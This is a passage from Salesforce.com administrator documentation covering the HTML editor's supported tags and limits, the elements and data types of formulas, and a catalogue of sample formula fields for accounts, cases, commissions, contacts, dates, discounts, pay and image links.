does not notify users when it removes unsupported or potentially malicious HTML.
• The maximum number of characters you can enter in the Salesforce.com HTML editor window is equal to the field length
specified when creating or editing the field. The default is 32,000 characters.
• When clicked, hyperlinks open in a new browser window. The Salesforce.com HTML editor supports HTTP, HTTPS,
and mailto hyperlinks.
• When a record is saved, the Salesforce.com HTML editor does not validate hyperlinks to Web pages. Be sure to confirm
that you are specifying a URL that Salesforce.com can access.
• To insert an image, click and either select:
- Web Address tab and enter the URL of the image.
- Upload Image tab and select an image from your localhost. You can only upload JPEG, PNG or GIF. The image you
select cannot exceed 1 Megabyte.
Optionally, enter a description that appears when a user hovers over the image. The image must have a URL that
Salesforce.com can access.
• The Salesforce.com HTML editor supports all languages that Salesforce Knowledge supports.
• The Salesforce.com HTML editor does not support JavaScript or Cascading Style Sheets (CSS).
• The Salesforce.com HTML editor is disabled for users who have accessibility mode enabled; it's replaced with a text box.
This text box only accepts HTML and does not recognize plain text entries like carriage returns. To separate content, you
must use paragraph or line break HTML tags.

Supported HTML Tags and Attributes


The Salesforce.com HTML editor supports the tags listed in the following table.

<a> <dt> <q>

465
Customize Creating Custom Fields

<abbr> <em> <samp>

<acronym> <font> <small>

<address> <h1> <span>

<b> <h2> <strike>

<bdo> <h3> <strong>

<big> <h4> <sub>

<blockquote> <h5> <sup>

<br> <h6> <table>

<caption> <hr> <tbody>

<cite> <i> <td>

<code> <img> <tfoot>

<col> <ins> <th>

<colgroup> <kbd> <thead>

<dd> <li> <tr>

<del> <ol> <tt>

<dfn> <p> <ul>

<div> <pre> <var>

<dl>

The tags can include the following attributes:

alt face size

background height src

border href style

colspan rowspan width

The attributes can include URLs that begin with the following:
• http:
• https:
• file:
• ftp:
• mailto:
• / for relative links

See Also:
Enabling Accessibility Mode

466
Customize About Formulas

About Formulas
Available in: All Editions

A formula is an algorithm that derives its value from other fields, expressions, or values. Formulas can help you automatically
calculate the value of a field based on other fields. Use formulas for:

• Custom Fields
Create custom formula fields that automatically calculate a value based on other values, merge fields, or expressions. Users
can view formula fields on record detail pages but cannot see the underlying algorithm nor can they edit the value of a
formula field. To create a custom formula field, see Building Formulas on page 497.
• Default Field Values
Apply a value to a custom field when a user creates a record. Use formulas to define a default value such as TODAY() +
7. See About Default Field Values on page 505.
• Data Validations
Verify that the data a user enters in a record meets the standards you specify before the user can save the record. A validation
rule can include a formula such as CloseDate >= TODAY(). See About Validation Rules on page 509.
• Reports
Create custom summary formulas in your reports to calculate additional totals based on the existing summaries in that
report. To begin creating a custom summary formula, see Building Custom Summary Formulas on page 1910.
• Workflow Field Updates
Define field updates to automatically calculate the new value of a field based on a formula. The formula can include other
values, merge fields, or expressions. Then set your workflow rules or approval processes to use these field updates. To define
field updates, see Defining Field Updates on page 812.
• Workflow Rules
Define the criteria a record must meet to trigger a workflow rule. See Creating Workflow Rules on page 798.
• Approval Processes
Define the criteria a record must meet to enter the approval process. See Creating Approval Processes on page 848.
• Approval Steps
Define the criteria a record must meet to enter the approval step. See Creating Approval Steps on page 853.
• Escalation Rules
Define the conditions that a case must match to be escalated. See Setting Up Escalation Rules on page 704.
• Assignment Rules
Define the conditions that the lead or case must match for it to be assigned. See Setting Up Assignment Rules on page
700.
• S-Controls
Define the content for s-controls. See Defining Custom S-Controls on page 1041.
• Custom Buttons and Links

467
Customize About Formulas

Define the content for custom links and buttons. See Defining Custom Buttons and Links on page 653.
• Visualforce Pages
Define the content for Visualforce pages. See Defining Visualforce Pages on page 1022.

Before building a formula, review the following attributes of a formula:

• Choosing a Formula Data Type


• Elements of a Formula

For common uses of formulas, see Formulas: How Do I... on page 471.
Note: Custom formula fields are not available in Connect Offline, Web-to-Lead forms, or Web-to-Case forms.

See Also:
Using Formulas in Salesforce.com

Choosing a Formula Data Type


The data type of a formula determines the type of data you expect returned from your formula. Review the following data
types.

Data Type Description


Currency Returns a number in currency format of up to 18 digits with
a currency sign.
Date Returns data that represents a day on the calendar. The current
date can be acquired by calling the built-in function TODAY()
in a formula. This data type is not available for custom
summary formulas in reports.
Date/time Returns data that represents a moment in time. A date/time
field includes the date and also the time of day including hour,
minutes, and seconds. You can insert the current date and
time in a formula using the NOW() function. This data type
is not available for custom summary formulas in reports.
Number Returns a positive or negative integer or decimal of up to 18
digits.
Percent Returns a number in percent format of up to 18 digits followed
by a percent sign. Percent data is stored as a decimal divided
by 100, which means that 90% is equal to 0.90.
Text Returns a string of up to 3900 characters. To display text in
addition to the formula output, insert that text in quotes. Use
the text data type for text, text area, URL, phone, email,

468
Customize About Formulas

Data Type Description


address, and auto-number fields. This data type is not available
for custom summary formulas in reports.

See Also:
Building Formulas
About Formulas

Elements of a Formula
A formula can contain references to the values of other standard or custom fields, operators, functions, literal values, or other
formulas. Use any or all of the elements in the following table to build a formula. For more details about building formulas,
see Building Formulas on page 497.

Element Name Description


Literal Value A text string or number you enter that is not calculated or
changed. For example, if your commissions are always
calculated by 2% of an opportunity amount, your formula
would contain the literal value 2% of the opportunity amount:
ROUND((Amount*0.02), 2)

This example contains every possible part of a formula:


• A function called ROUND used to return a number
rounded to a specified number of decimal places.
• A field reference called Amount that is dynamically
replaced with the amount of an opportunity.
• An operator, *, that tells the formula builder to multiply
the contents of the Amount field by the literal value, 0.02.
• A literal number, 0.02, that represents a commission
percent. Use the decimal value for all percents. To include
actual text in your formula, enclose it in quotes.
• The last number 2 in this formula is the input required for
the ROUND function that determines the number of
decimal places to return.

Field Reference Reference the value of another custom or standard field using
a merge field. The syntax for a merge field is field_name
for a standard field or field_name__c for a custom field.
The syntax for a merge field on a related object is
object_name__r.field_name. Use the Insert Field
button or the drop-down list to insert a merge field in your
formula where necessary.

469
Customize About Formulas

Element Name Description


Function A system-defined formula that can require input from you
and returns a value or values. For example, TODAY() does
not require input but returns the current date. The
TEXT(value) function requires your percent, number, or
currency input and returns text.
Operator
A symbol that specifies the type of calculation to perform or
the order in which to do it. For example, the + symbol specifies
two values should be added. The open and close parentheses
specify which expressions you want evaluated first.

Comment An annotation within a formula that begins with a forward


slash followed by an asterisk (/*). and concludes with an
asterisk followed by a forward slash (*/). For example,

/*This is a formula comment*/

Salesforce.com ignores comments when processing a formula.


Comments are useful for explaining specific parts of a formula
to administrators viewing the formula definition. For example:

AND(
/*competitor field is required, check to see
if field is empty */
LEN(Competitor__c) = 0,
/* rule only enforced for ABCD record types
*/
$RecordType.Name = "ABCD Opportunity",
/* checking for any closed status, such as
closed won and closed lost…allows for
additional closed picklist values in the
future */
CONTAINS(TEXT(StageName), "Closed")
)

You can also use comments to comment out sections of your


formula when debugging and checking the syntax to locate
errors in the formula.
Note:

• Nesting comments causes a syntax error. For


example, you cannot save a formula that has the
following:

/* /* comment */ */

• Commenting out a whole formula causes a syntax


error.

470
Customize About Formulas

Element Name Description


• Comments count against the character and byte
size limits in formulas.

See Also:
Building Formulas
Building Custom Summary Formulas
Quick Reference Guide: Formula Fields

Formulas: How Do I...


Available in: All Editions

User Permissions Needed


To view formula field details: “View Setup and Configuration”
To create, change, or delete formula fields: “Customize Application”

Common Math Calculations


• Add numbers?
• Convert text into a number?
• Divide numbers?
• Multiply numbers?
• Round numbers?
• Subtract numbers?

Common Text Functions


• Check if a field contains specified text?
• Check if a picklist field contains a specified value?
• Combine first and last names?
• Convert numbers into text?
• Create a hyperlink field?

Advanced Formulas
• Calculate Commission Amounts for Opportunities?
• Calculate a Contact’s Age?
• Set Up Round Robin Assignment of Cases or Leads?
• Set Up Opportunity Discount Rounded?

471
Customize About Formulas

Custom Summary Formulas for Reports


• Calculate the sum of all leads that have Email Opt Out and Do Not Call fields selected?
• Calculate the difference of all Amount fields and all Discounted Amount fields on opportunities?
• Calculate the average age of all opportunities?
• Calculate what percent of all opportunities are closed won?
• Calculate the number of active Salesforce.com users to the 2nd power for administration?
• Calculate the duration of all activities (minutes) times the number of records per 24 hours?
• Calculate the average percent margin on a product-by-product level across many opportunities?
• Calculate the percentage of one product compared to all products in closed opportunities?
• Calculate the change in revenue from opportunities between months?

Cross-Object Formulas
• Display the Created By field from a parent object?
• Display a Percent field from a parent object?
• Display a text field from a parent object?
• Display a phone number field from a parent object?
• Display a picklist field from a parent object?
• Display a URL field from a parent object?

Examples of Advanced Formula Fields


Available in: All Editions

User Permissions Needed


To view formula field details: “View Setup and Configuration”
To create, change, or delete formula fields: “Customize Application”

Use the following formula samples when creating custom formula fields. For samples of other types of formulas, see Examples
of Validation Rules on page 511 and Useful Default Field Value Formulas on page 506.
This document contains the following categories of custom formula samples:

• Account Management
• Account Media Service Links
• Case Management
• Commission Calculations
• Contact Management
• Data Categorization
• Date Calculations
• Discounting
• Employee Services
• Expense Tracking
• Financial Calculations

472
Customize About Formulas

• Image Links
• Integration Links
• Lead Management
• Metrics
• Opportunity Management
• Pricing
• Project Management
• Scoring Calculations

See Also:
About Formulas
Operators and Functions
Formulas: How Do I...
Tips on Building Formulas
Quick Reference Guide: Formula Fields

Account Management

Account Rating
This formula evaluates Annual Revenue, Billing Country, and Type, and assigns a value of “Hot,” “Warm,” or “Cold.”

IF (AND (AnnualRevenue > 10000000,


CONTAINS (CASE (BillingCountry, "United States", "US", "America", "US", "USA", "US", "NA"),
"US")),
IF(ISPICKVAL(Type, "Manufacturing Partner"), "Hot",
IF(OR (ISPICKVAL (Type, "Channel Partner/Reseller"),
ISPICKVAL(Type, "Installation Partner")), "Warm", "Cold")),
"Cold")

For details about using these functions, see IF on page 570, AND on page 559, CONTAINS on page 564, CASE on page 561,
and ISPICKVAL on page 579.
In addition, you can reference this Account Rating formula field from the contact object using cross-object formulas.
Account.Account_Rating__c

Account Region
This formula returns a text value of “North,” “South,” “East,” “West,” or “Central” based on the Billing State/Province
of the account.

IF(ISBLANK(BillingState), "None",
IF(CONTAINS("AK:AZ:CA:HA:NV:NM:OR:UT:WA", BillingState), "West",
IF(CONTAINS("CO:ID:MT:KS:OK:TX:WY", BillingState), "Central",
IF(CONTAINS("CT:ME:MA:NH:NY:PA:RI:VT", BillingState), "East",
IF(CONTAINS("AL:AR:DC:DE:FL:GA:KY:LA:MD:MS:NC:NJ:SC:TN:VA:WV", BillingState), "South",
IF(CONTAINS("IL:IN:IA:MI:MN:MO:NE:ND:OH:SD:WI", BillingState), "North", "Other"))))))

For details about using these functions, see IF on page 570, LEN on page 581, and CONTAINS on page 564.

473
Customize About Formulas

Contract Aging
This formula calculates the number of days since a contract with an account was activated. If the contract Status is not
“Activated,” this field is blank.

IF(ISPICKVAL(Contract_Status__c, "Activated"),
NOW() - Contract_Activated_Date__c, null)

For details about using these functions, see IF on page 570, ISPICKVAL on page 579, and NOW on page 588.

Contract Approval Process Aging


This formula calculates how many days a contract is in the approval process. This example is a number formula field on
contracts that uses a custom date field called Date in approval.
TODAY()-Date_in_approval__c
For details about using this function, see TODAY on page 596.

Month of Last Account Activity


This formula field displays the month of the last account activity or “None” if there are no activities for the account.

CASE(MONTH(LastActivityDate),
1, "January",
2, "February",
3, "March",
4, "April",
5, "May",
6, "June",
7, "July",
8, "August",
9, "September",
10, "October",
11, "November",
12, "December",
"None")

For details about using these functions, see CASE on page 561 and MONTH on page 587.

Month of Service-Level Agreement Expiration


This formula returns the month that your service-level agreement expires. This example uses a custom date field called SLA
Expiration Date.
MONTH(SLAExpirationDate__c)
For details about using this function, see MONTH on page 587.

Account Media Service Links

BBC™ News Search


This formula creates a link to a BBC news search site based on the Account Name.

HYPERLINK(
"http://newssearch.bbc.co.uk/cgi-bin/search/results.pl?scope=newsifs;tab=news;q="&Name,
"BBC News")

474
Customize About Formulas

Bloomberg™ News Search


This formula creates a link to an account's ticker symbol on the Bloomberg website.

HYPERLINK(
"http://www.bloomberg.com/apps/quote?ticker="&TickerSymbol,
"Bloomberg News")

CNN™ News Search


This formula creates a link to a CNN news search site using the Account Name.

HYPERLINK(
"http://websearch.cnn.com/search/search?source=cnn&invocationType=search%2Ftop&sites=web&query="&Name,
"CNN News")

MarketWatch™ Search
This formula creates a link to an account's ticker symbol on the Marketwatch.com website.

HYPERLINK(
"http://www.marketwatch.com/tools/quotes/quotes.asp?symb="&TickerSymbol,
"Marketwatch")

Google™ Search
This formula creates a link to a Google search site using the Account Name.

HYPERLINK(
"http://www.google.com/search?en&q="&Name,
"Google")

Google News Search


This formula creates a link to a Google news search site using the Account Name.

HYPERLINK(
"http://www.google.com/news?en&q="&Name,
"Google News")

Yahoo!™ Search
This formula creates a link to a Yahoo! search site using the Account Name.

HYPERLINK(
"http://search.yahoo.com/search?p="&Name,
"Yahoo Search")

Yahoo News Search


This formula creates a link to a Yahoo! news search site using the Account Name.

HYPERLINK(
"http://news.search.yahoo.com/search/news?p="&Name,
"Yahoo News")

For details about using the function used in these formulas, see HYPERLINK on page 569.

475
Customize About Formulas

Case Management

Autodial
This formula creates a linkable phone number field that automatically dials the phone number when clicked. In this example,
replace "servername" and "call" with the name of your dialing tool and the command it uses to dial. The merge field,
Id, inserts the identifier for the contact, lead, or account record. The first Phone merge field tells the dialing tool what number
to call and the last Phone merge field uses the value of the Phone field as the linkable text the user clicks to dial.
HYPERLINK("http://servername/call?id=" & Id & "&phone=" & Phone, Phone)
For details about using this function, see HYPERLINK on page 569.

Case Aging (Assignments)


Use this example of a custom formula field called Days Open to display different text depending on the number of days a
case has been open:

CASE(Days_Open__c, 3,
"Reassign", 2, "Assign Task", "Maintain")

The following text is displayed:


• “Reassign” for any case open three days.
• “Assign Task” for any case open two days.
• “Maintain” for all other cases.
For details about using this function, see CASE on page 561.

Case Aging (Open Cases)


This formula calculates the number of days a case has been open. If the case is closed, it sets the result to null. Add this formula
to a related list as the sort column to quickly see which open cases have been open the longest. The formula returns zero if the
case has been open for less than 24 hours.

IF(IsClosed,
null,
NOW() - CreatedDate )

For details about using these functions, see IF on page 570 and NOW on page 588.

Case Aging (Open and Closed Cases)


This formula calculates the number of days a closed case was open or the number of days an open case has been open since
the date the case was created. The formula returns zero if the case has been open for less than 24 hours.

IF(IsClosed,
ROUND(ClosedDate - CreatedDate, 0), ROUND((NOW() - CreatedDate),0))

For details about using these functions, see IF on page 570, ROUND on page 593, and NOW on page 588.

476
Customize About Formulas

Case Categorization
This formula displays a text value of “RED,” “YELLOW,” or “GREEN,” depending on the value of a case age custom text
field.

IF(DaysOpen__c > 20, "RED",


IF(DaysOpen__c > 10, "YELLOW",
"GREEN") )

For details about using this function, see IF on page 570.

Case Data Completeness Tracking


This formula calculates the percentage of specific custom fields that contain data. The formula checks the values of two custom
number fields: Problem Num and Severity Num. If the fields are empty, the formula returns the value “0.” The formula
returns a value of “1” for each field that contains a value and multiplies this total by fifty to give you the percentage of fields
that contain data.

(IF(ISBLANK(Problem_Num__c), 0, 1) + IF(ISBLANK(Severity_Num__c ), 0,1)) * 50

For details about using these functions, see IF on page 570 and ISBLANK on page 575.

Case Due Date Calculation


This formula sets the due date of a case based on the priority. If it is high, the due date is two days after it opens. If it is
medium, the due date is five days after opening. Otherwise, the due date is seven days.

CASE (Priority,
"High", CreatedDate + 2,
"Medium",CreatedDate + 5,
CreatedDate + 7)

For details about using this function, see CASE on page 561.

Suggested Agent Prompts


This formula prompts an agent with cross-sell offers based on past purchases.

CASE(Product_Purch__c,
"Printer", "Extra toner cartridges", "Camera", "Memory cards",
"Special of the day")

For details about using this function, see CASE on page 561.

Suggested Offers
This formula suggests a product based on the support history for a computer reseller. When the Problem custom field matches
a field, the formula field returns a suggestion.

CASE(Problem__c,
"Memory", "Suggest new memory cards", "Hard Drive failure", "Suggest new hard drive with
tape backup",
"")

For details about using this function, see CASE on page 561.

477
Customize About Formulas

Commission Calculations

Commission Amounts for Opportunities


The following is a simple formula where commission is based on a flat 2% of the opportunity Amount.

IF(ISPICKVAL(StageName, "Closed Won"),


ROUND(Amount *0.02, 2), 0)

This example calculates the commission amount for any opportunity that has a “Closed Won” stage. The value of this field
will be the amount times 0.02 for any closed/won opportunity. Open or lost opportunities will have a zero commission value.
For details about using these functions, see IF on page 570, ISPICKVAL on page 579, and ROUND on page 593.

Commission Deal Size


This formula calculates a commission rate based on deal size, returning a 9% commission rate for deals over 100,000 and an
8% commission rate for smaller deals.

IF(Amount > 100000, 0.09, 0.08 )

For details about using this function, see IF on page 570.

Commission Greater Than or Equal To


This formula assigns the “YES” value to opportunities with a commission greater than or equal to one million. Note, this is
a text formula field on opportunities that uses a custom currency field called Commission.
IF(Commission__c >= 1000000, "YES", "NO")
For details about using this function, see IF on page 570.

Commission Maximum
This formula determines what commission to log for an asset based on which is greater: the user's commission percentage of
the price, the price times the discount percent stored for the account or 100 dollars. This example assumes you have two custom
percent fields on users and assets.

MAX($User.Commission_Percent__c * Price,
Price * Account_Discount__c, 100)

For details about using this function, see MAX on page 585.

Contact Management

Contact's Account Creation Date


This date formula displays the account's Created Date field on the contacts page.
Account.CreatedDate

Contact's Account Discount Percent


This percent formula displays the account's Discount Percent field on the contacts page.

478
Customize About Formulas

Account.Discount_Percent__c

Contact's Account Name


This formula displays the standard Account Name field on the contacts page.
Account.Name

Contact's Account Phone


This formula displays the standard Account Phone field on the contacts page.
Account.Phone

Contact's Account Rating


Use this formula to display the Account Rating field on the contacts page.
CASE(Account.Rating, "Hot", "Hot", "Warm", "Warm", "Cold", "Cold", "Not Rated")
For details about using this function, see CASE on page 561.

Contact's Account Website


This formula displays the standard Account Website field on the contacts page.
Account.Website
If the account website URL is long, use the HYPERLINK function to display a label such as “Click Here” instead of the
URL. For example:

IF(Account.Website="", "",
IF(
OR(LEFT(Account.Website, 7) = "http://",LEFT(Account.Website, 8) = "https://"),
HYPERLINK( Account.Website , "Click Here" ),
HYPERLINK( "http://" & Account.Website , "Click Here" )
)
)

This formula also adds the necessary "http://" or "https://" before a URL if neither were included in the URL field.
For details about using this function, see HYPERLINK on page 569.

Contact’s Age
Use this formula to calculate a person’s age based on a standard field called Birthdate. The person’s Birthdate is subtracted
from today’s date, which returns the number of days since the person’s Birthdate. This number is divided by the number
of days in a year and rounded down to the nearest integer.
FLOOR((TODAY()-Birthdate)/365.2425)
For details about using these functions, see FLOOR on page 567 and TODAY on page 596.

479
Customize About Formulas

Contact's Birthday
This formula displays the value “Yes” if the contact’s birthday falls in the current calendar month.

IF (
MONTH( Birthdate) = MONTH( TODAY()), "Yes", "")

For details about using these functions, see IF on page 570, MONTH on page 587, and TODAY on page 596.

Contact Identification Numbering


This formula displays the first five characters of the contact’s last name and the last four characters of the contact’s social
security number separated by a dash. Note that this example uses a text custom field called SSN on contacts.
TRIM(LEFT(LastName, 5)) & "-" & TRIM(RIGHT(SSN__c, 4))
For details about using these functions, see TRIM on page 597, LEFT on page 581, and RIGHT on page 592.

Contact Preferred Phone


This formula displays the contact’s preferred contact method in a contact related list—work phone, home phone, or mobile
phone—based on a selected option in a Preferred Phone custom picklist.

CASE(Preferred_Phone__c,
"Work", "w. " & Phone,
"Home", "h. " & HomePhone,
"Mobile", "m. " & MobilePhone,
"No Preferred Phone")

For details about using this function, see CASE on page 561.

Contact Priority
This formula assesses the importance of a contact based on the account rating and the contact's title. If the account rating is
Hot or the title starts with Executive, then the priority is high (P1). If the account rating is Warm or the title starts with VP
then the priority is medium (P2), and if the account rating is Cold then the priority is low (P3).

IF(OR(ISPICKVAL(Account.Rating, "Hot"), CONTAINS(Title, "Executive")), "P1",

IF(OR(ISPICKVAL(Account.Rating, "Warm"), CONTAINS(Title, "VP")), "P2",

IF(ISPICKVAL(Account.Rating, "Cold"), "P3",

"P3")
)
)

Contact Yahoo! ID
This formula displays a clickable Yahoo! Messenger icon indicating if the person is logged on to the service. Users can click
the icon to launch a Yahoo! Messenger conversation with the person. This example uses a custom text field called Yahoo
Name on contacts where you can store the contact's Yahoo! Messenger ID.
HYPERLINK("ymsgr:sendIM?" & Yahoo_Name__c, IMAGE("http://opi.yahoo.com/online?u=" &
Yahoo_Name__c & "&m;=g&t;=0", "Yahoo"))
For details about using these functions, see HYPERLINK on page 569 and IMAGE on page 572.

480
Customize About Formulas

Dynamic Address Formatting


This formula field displays a formatted mailing address for a contact in standard format, including spaces and line breaks
where appropriate depending on the country for the account.

CASE(ShippingCountry,
"USA",
ShippingStreet & BR() &
ShippingCity & ",
" & ShippingState & " " &
ShippingPostalCode & BR()
& ShippingCountry,
"France",
ShippingStreet & BR() &
ShippingPostalCode & " " &
ShippingCity & BR() &
ShippingCountry, "etc")

For details about using this function, see CASE on page 561 and BR on page 561.

Telephone Country Code


This formula determines the telephone country code of a contact based on the Mailing Country of the mailing address.

CASE(MailingCountry,
"USA", "1",
"Canada", "1",
"France", "33",
"UK", "44",
"Australia", "61",
"Japan", "81",
"?")

For details about using this function, see CASE on page 561.

Unformatted Phone Number


This formula removes the parentheses and dash characters from North American phone numbers. This is necessary for some
auto-dialer software.

IF(Country_Code__c = "1", MID( Phone ,2, 3) & MID(Phone,7,3) & MID(Phone,11,4), Phone)

For details about using these functions, see IF on page 570 and MID on page 586.

Data Categorization

Deal Size Large and Small


This formula displays “Large Deal” for deals over one million dollars or “Small Deal” for deals under one million dollars.

IF(Sales_Price__c > 1000000,


"Large Deal",
"Small Deal")

For details about using this function, see IF on page 570.

481
Customize About Formulas

Deal Size Small


This formula displays “Small” if the price and quantity are less than one. This field is blank if the asset has a price or quantity
greater than one.
IF(AND(Price<1,Quantity<1),"Small", null)
For details about using these functions, see IF on page 570 and AND on page 559.

Product Categorization
This formula checks the content of a custom text field named Product_Type and returns “Parts” for any product with the
word “part” in it. Otherwise, it returns “Service.” Note that the values are case sensitive, so if a Product_Type field contains
the text “Part” or “PART,” this formula returns “Services.”

IF(CONTAINS(Product_Type__c, "part"), "Parts", "Service")

For details about using these functions, see IF on page 570 and CONTAINS on page 564.

Date Calculations

Birthday in Current Year Accounting for Leap Years


This formula returns the date of a person's birthday in the current year, even if the person's birthday is on February 29th in a
leap year.

IF(AND(MONTH(Birthdate) = 2, DAY(Birthdate) = 29),


(IF(OR(MOD(YEAR(DATEVALUE(NOW())), 400) = 0, AND(MOD(YEAR(DATEVALUE(NOW())) ,4) = 0,
MOD(YEAR(DATEVALUE(NOW())), 100) <> 0)),
DATE(YEAR(DATEVALUE(NOW())), MONTH(Birthdate), DAY(Birthdate)),
DATE(YEAR(DATEVALUE(NOW())), MONTH(Birthdate + 1), 28))),
(DATE(YEAR(DATEVALUE(NOW())), MONTH(Birthdate) , DAY(Birthdate))))

Day of Week (number)


This formula calculates today’s day of the week as a number (0 = Sunday, 1 = Monday, 2 = Tuesday, and so on).

MOD(TODAY() - DATE(1900, 1, 7), 7)

Similarly, this formula substitutes the TODAY() function shown in the previous example with a custom date field called Sign
Up Date. It returns the day of the week as a number for that field.

MOD(Sign_Up_Date__c - DATE(1900, 1, 7), 7)

For details about using these functions, see MOD on page 587, TODAY on page 596, and DATE on page 564.

Day of Week (text)


This formula calculates today’s day of the week and displays it as text. To determine the day of the week for a date field, use
the formula below and replace “TODAY()” with that date field.

CASE(
MOD(TODAY() - DATE(1900, 1, 7), 7),
0, "Sunday",
1, "Monday",
2, "Tuesday",

482
Customize About Formulas

3, "Wednesday",
4, "Thursday",
5, "Friday",
6, "Saturday", "Error")

For details about using these functions, see CASE on page 561, MOD on page 587, TODAY on page 596, and DATE on page
564.

Day of Year
This formula calculates today’s numeric day of the year (a number between 1 and 365).

TODAY() – DATE(YEAR(TODAY()), 1, 1) + 1

For details about using these functions, see TODAY on page 596, DATE on page 564, and YEAR on page 603.

Days Until End of Month


This formula displays the number of days between a specific date and the end of the month in which the date occurs.

IF(
MONTH(CloseDate)=12,
DATE(YEAR(CloseDate),12,31) - CloseDate,
DATE(YEAR(CloseDate),
MONTH(CloseDate)+1,1) - CloseDate-1)

For details about using these functions, see IF on page 570, MONTH on page 587, DATE on page 564, and YEAR on page
603.

Time of Day
This formula returns the time of day in Greenwich Mean Time (GMT), for example: “20:04 PM”).

MID (TEXT (Due_Date_Time__c), 12, 5)

For details about using these functions, see MID on page 586 and TEXT on page 595.

Discounting

Maintenance and Services Discount


This formula field uses two custom currency fields: Maintenance Amount and Services Amount. It displays “Discounted”
on an opportunity if its maintenance amount and services amount do not equal the opportunity Amount standard field value.
Otherwise, it displays "Full Price."

IF(Maintenance_Amount__c + Services_Amount__c <> Amount,


"Discounted",
"Full Price")

For details about using this function, see IF on page 570.

Opportunity Discount Amount


This formula calculates the difference of the opportunity Amount less the Discount Amount. Note that Discount Amount
is a custom currency field on opportunities.

483
Customize About Formulas

Amount - Discount_Amount__c
For details about using this operator, see - (Subtract) on page 554.

Opportunity Discount Rounded


Use this formula to calculate the discounted amount of an opportunity rounded off to two digits. This example is a number
formula field on opportunities that uses a custom percent field called Discount Percent.
ROUND(Amount-Amount* Discount_Percent__c,2)
For details about using this function, see ROUND on page 593.

Opportunity Discount with Approval


This formula adds a “Discount Approved” checkbox to an opportunity. It uses conditional logic to check the value of the
approval flag before calculating the commission.

IF(Discount_Approved__c, ROUND(Amount – Amount * DiscountPercent__c, 2), Amount)

For details about using these functions, see IF on page 570 and ROUND on page 593.

Employee Services

Bonus Calculation
This example determines an employee's bonus amount based on the smallest of two amounts: the employee's gross times bonus
percent or an equally divided amount of the company's performance amount among all employees. It assumes you have custom
number field for Number of Employees, a custom percent field for Bonus Percent, and currency custom fields for the
employee's Gross and company's Performance.

MIN(Gross__c * Bonus_Percent__c,
Performance__c / Number_of_Employees__c)

For details about using this function, see MIN on page 586.

Employee 401K
This example formula determines which amount to provide in employee 401K matching based on a matching program of half
of the employee's contribution or $250, whichever is less. It assumes you have custom currency field for Contribution.

MIN(250, Contribution__c /2)

For details about using this function, see MIN on page 586.

Hours Worked Per Week


This formula uses a custom tab to enable time tracking of hours worked per day. It uses a formula field to sum the hours per
week.

MonHours__c + TuesHours__c + WedsHours__c + ThursHours__c + FriHours__c

For details about using this operator, see + (Add) on page 553.

484
Customize About Formulas

Total Pay Amount


This formula determines total pay by calculating regular hours multiplied by a regular pay rate, plus overtime hours multiplied
by an overtime pay rate.

Total Pay =
IF(Total_Hours__c <= 40, Total_Hours__c * Hourly_Rate__c,
40 * Hourly_Rate__c +
(Total_Hours__c - 40) * Overtime_Rate__c)

For details about using this function, see IF on page 570.

Expense Tracking

Expense Identifier
This formula displays the text “Expense-” followed by trip name and the expense number. This is a text formula field that
uses an expense number custom field.
"Expense-" & Trip_Name__c & "-" & ExpenseNum__c
For details about using this operator, see - (Subtract) on page 554.

Mileage Calculation
This formula calculates mileage expenses for visiting a customer site at 35 cents a mile.

Miles_Driven__c * 0.35

For details about using this operator, see * (Multiply) on page 554.

Financial Calculations

Compound Interest
This formula calculates the interest, you will have after T years, compounded M times per year.

Principal__c * ( 1 + Rate__c / M ) ^ ( T * M) )

For details about using these operators, see * (Multiply) on page 554, / (Divide) on page 554, and ^ (Exponentiation) on page
555.

Compound Interest Continuous


This formula calculates the interest that will have accumulated after T years, if continuously compounded.

Principal__c * EXP(Rate__c * T)

For details about using this function, see EXP on page 565.

Consultant Cost
This formula calculates the number of consulting days times 1200 given that this formula field is a currency data type and
consulting charges a rate of $1200 per day. Note that Consulting Days is a custom field on opportunities.

485
Customize About Formulas

Consulting_Days__c * 1200
For details about using this operator, see * (Multiply) on page 554.

Gross Margin
This formula provides a simple calculation of gross margin. In this formula example, Total Sales and Cost of Goods
Sold are custom currency fields.

Total_Sales__c - Cost_of_Goods_Sold__c

For details about using this operator, see - (Subtract) on page 554.

Gross Margin Percent


This formula calculates the gross margin based on a margin percent.

Margin_percent__c * Items_Sold__c * Price_item__c

For details about using this operator, see * (Multiply) on page 554.

Payment Due Indicator


This formula returns the date five days after the contract start date whenever Payment Due Date is blank. Payment Due
Date is a custom date field on contracts.
(BLANKVALUE(Payment_Due_Date__c, StartDate +5)
For details about using this function, see BLANKVALUE on page 560.

Payment Status
This formula determines if the payment due date is past and the payment status is “UNPAID.” If so, it returns the text
“PAYMENT OVERDUE” and if not, it leaves the field blank. This example uses a custom date field called Payment Due
Date and a text custom field called Payment Status on contracts.

IF(
AND(Payment_Due_Date__c < TODAY(),
ISPICKVAL(Payment_Status__c, "UNPAID")),
"PAYMENT OVERDUE",
null )

For details about using these functions, see IF on page 570, AND on page 559, TODAY on page 596, and ISPICKVAL on
page 579.

Image Links

Yahoo! Instant Messenger™ Image


This formula displays an image that indicates whether a contact or user is currently logged in to Yahoo! Instant Messenger.
Clicking the image launches the Yahoo! Instant Messenger window. This formula uses a custom text field called Yahoo Name
to store the contact or user’s Yahoo! ID.

IF(ISBLANK(Yahoo_Name__c),"", HYPERLINK("ymsgr:sendIM?" & Yahoo_Name__c,


IMAGE("http://opi.yahoo.com/online?u=" & Yahoo_Name__c & "&m=g&t=0", " ")))

486
Customize About Formulas

For details about using these functions, see IF on page 570, LEN on page 581, HYPERLINK on page 569, and IMAGE on
page 572.

“Skype Me™” Auto Dialer Button


This formula displays an image that looks like a push button. Clicking the button automatically dials the specified phone
number.

HYPERLINK("callto://" & "+1" & Phone,


IMAGE("http://goodies.skype.com/graphics/skypeme_btn_small_blue.gif",
"Click to Skype"))

For details about using these functions, see HYPERLINK on page 569 and IMAGE on page 572.

Flags for Case Priority


This formula displays a green, yellow, or red flag image to indicate case priority.

IMAGE(
CASE( Priority,
"Low", "/img/samples/flag_green.gif",
"Medium", "/img/samples/flag_yellow.gif",
"High", "/img/samples/flag_red.gif",
"/s.gif"),
"Priority Flag")

For details about using this function, see IMAGE on page 572.

Color Squares for Case Age


This formula displays a 30 x 30 pixel image of a red, yellow, or green, depending on the value of a Case Age custom text
field.

IF( Case_Age__c > 20,


IMAGE("/img/samples/color_red.gif", "red", 30, 30),
IF( Case_Age__c > 10,
IMAGE("/img/samples/color_yellow.gif", "yellow", 30, 30),
IMAGE("/img/samples/color_green.gif", "green", 30, 30),
))

For details about using these functions, see IF on page 570 and IMAGE on page 572.

